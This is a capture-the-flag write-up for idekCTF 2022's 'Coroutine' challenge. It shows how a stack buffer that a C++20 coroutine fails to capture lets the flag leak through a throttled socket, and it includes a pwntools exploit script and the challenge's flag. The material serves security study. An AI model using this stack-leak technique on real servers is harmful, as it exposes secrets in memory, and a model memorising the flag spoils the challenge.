idekCTF2022 - Coroutine Writeup

Introduction

Last weekend I participated in idekCTF 2022 with r3kapig. After briefly browsing other pwn challenges, I tried to solve Coroutine and finally solved it (4 sovled in total).

Now, let’s dive into this challenge!

C++20 Coroutine

What’s the coroutine ?

A coroutine is a function that can suspend execution to be resumed later. Coroutines are stackless: they suspend execution by returning to the caller and the data that is required to resume execution is stored separately from the stack. This allows for sequential code that executes asynchronously (e.g. to handle non-blocking I/O without explicit callbacks), and also supports algorithms on lazy-computed infinite sequences and other uses.

ref: Coroutines (C++20) - cppreference

As we have seen, coroutines are executed in a single-threaded environment, and can be paused as needed during execution (e.g. waiting response from peers) and finally find a suitable time to resume execution (e.g. receive the reply from a peer).

What does this mean?

  1. The execution environment may be different before and after the co_await statement. (e.g. current thread id)
  2. If the coroutine holds a outer pointer or reference, this may cause memory problem (e.g. UAF、 UAP…)

Program Logic

User can interact with proxy to change the proxy receive buffer size and send buffer size. Interestingly, we can also find that the size of the program’s send buffer is manually set to 128 byte. These indications suggest that the vulnerability is most likely related to the socket buffer size.

1
2
int sendbuff = 128;
setsockopt(accept_result, SOL_SOCKET, SO_SNDBUF, &sendbuff, sizeof(sendbuff));

After reading the source code carefully, we can know that the program is act as echo server, reading the messages from proxy and send back:

  1. create and execute the coroutine. In the coroutine, program will accept client connection and run into client_loop to repeatedly receive and send messages from client.

  2. If program cannot receive the message from client (e.g. there is currently no data from the client), or cannot send the message to client (e.g. socket buffer is full), the coroutine will save its own coroutine-handler and suspend its own execution, returning to the caller:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    class RecvAsync(SendAsync) : NonCopyable {
    public:
    ...
    auto operator co_await() {
    struct Awaiter {
    ...

    bool await_ready() {
    ...
    }
    void await_suspend(std::coroutine_handle<> handle) noexcept {
    // save current coroutine handle
    ctx_.add_read(fd_, std::move(handle));
    }
    int await_resume() {
    ...
    }
    };
    return Awaiter{ ctx_, fd_, buffer_ };
    }
    ...
    };
  3. The program will run into io_content::run_until_done,monitor the file descriptors with select, and resume the execution of corresponding coroutine if any file descriptors are available.

    Interestingly, in the loop of run_until_done, the program will execute load_flag to load the flag into the stack.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    void load_flag()
    {
    char flag[400];
    FILE* fp = fopen("flag", "rt");
    fscanf(fp, "%s", flag);
    fclose(fp);
    }

    void run_until_done()
    {
    while (!reads_.empty() || !writes_.empty())
    {
    load_flag();
    ...
    }
    }

Vulnerability

I was interested in how the coroutine captures the context, so I modified the code and printed out the addresses of all the buffers. Here are some code snippets.

1
2
3
4
5
6
7
8
9
10
Task<bool> client_loop(io_context& ctx, int socket)
{
while (true)
{
std::byte buffer[512];
printf("client_loop buffer before RecvAsync: %p\n", buffer);
int recved = co_await RecvAsync(ctx, socket, buffer);
...
}
}

Output: client_loop buffer before RecvAsync: 0x5603212fff89

This output indicates that the buffers in the coroutine will be created in the heap. In other words, this entire coroutine function is actually equivalent to a heap structure. This is the reason why a coroutine can suspend and resume execution at different times, because it preserves the context when it is created.

However, after carefully checking each buffer’s address, I found that the coroutine did not capture the buffer2 in function SendAllAsyncNewline. In other words, the address of buffer2 is located on the stack, which is not far from the memory location storing the flag (< 512 byte, 0x200).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void load_flag()
{
char flag[400];
printf("load_flag: %p\n", flag);
FILE* fp = fopen("flag", "rt");
fscanf(fp, "%s", flag);
fclose(fp);
}

Task<bool> SendAllAsyncNewline(io_context& ctx, int socket, std::span<std::byte> buffer)
{
std::byte buffer2[513];
printf("SendAllAsyncNewline buffer: %p\n", buffer.data());
printf("SendAllAsyncNewline buffer2: %p\n", buffer2);
std::copy(buffer.begin(), buffer.end(), buffer2);
buffer2[buffer.size()] = (std::byte)'\n';
return SendAllAsync(ctx, socket, std::span(buffer2, buffer.size()+1));
}

Output:

  • SendAllAsyncNewline buffer: 0x559806712f89

  • SendAllAsyncNewline buffer2: 0x7ffc1ddfd3a0

  • load_flag: 0x7ffc1ddfd480

And SendAllAsync will also send data multiple times:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Task<bool> SendAllAsync(io_context& ctx, int socket, std::span<std::byte> buffer)
{
int offset = 0;
while (offset < buffer.size())
{
int result = co_await SendAsync(ctx, socket, std::span(buffer.data() + offset, buffer.size() - offset));
if (result == -1)
{
co_return false;
}

offset += result;
}
co_return true;
}

If we can carefully interact with proxy, we can leak the flag by the following process:

  1. During the two SendAsync execution intervals in SendAllAsync, returning the control flow to run_until_done by filling the socket buffer in advance.
  2. Executing load_flag function to load the flag into stack memory, which happens to overlap with buffer2 .
  3. Clean the proxy receive buffer, so that the program can continue to send buffer2 to the client. Since we have loaded the flag into buffer2 before sending, the flag will be output along with it.

Exploit

Once you have found the threshold for sending data length in docker, all the difficulties in challenge are solved.

Note: you can find the sending threshold more easier by modifying the source code, as you wish.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- coding: utf-8 -*-
from pwn import *

# io = remote("coroutine.chal.idek.team", 1337)
io = process("python3 proxy.py", shell=True)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='amd64')
context.log_level = 'info'

# Change Receive Buffer
io.sendlineafter("Select Option:", b"2")
# Change Receive Buffer size to the minimal size
io.sendlineafter("Buffer size> ", b"1")

# Connect
io.sendlineafter("Select Option:", b"1")


# Filling the proxy recevie buffer and remote send buffer.
send_size = 5 * 512 + 314 # 0xb3a
while send_size > 0:
current_send_size = min(512, send_size)
send_size -= current_send_size

io.sendlineafter("Select Option:", b"4")
io.sendlineafter("Data>", b"a" * current_send_size)

# As proxy recevie buffer and remote send buffer are filled
# The `SendAllAsync` will be suspend and run `load_flag`
io.sendlineafter("Select Option:", b"4")
io.sendlineafter("Data>", b"a" * 512)

# Read the receive buffer, and `SendAllAsync` will be resume to send the flag.
for _ in range(6):
print(io.sendlineafter("Select Option:", b"5"))
print(io.sendlineafter("Size>", b'4096'))

You can read the flag idek{exploiting_coroutines} in the proxy receive data.

In fact, I did not write any python script for exploit when solving this challenge. Instead, I was interacting directly with the remote server using nc. So I wrote the above exploit script based on previous interaction logs.

image-20230121133235895

Reference

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~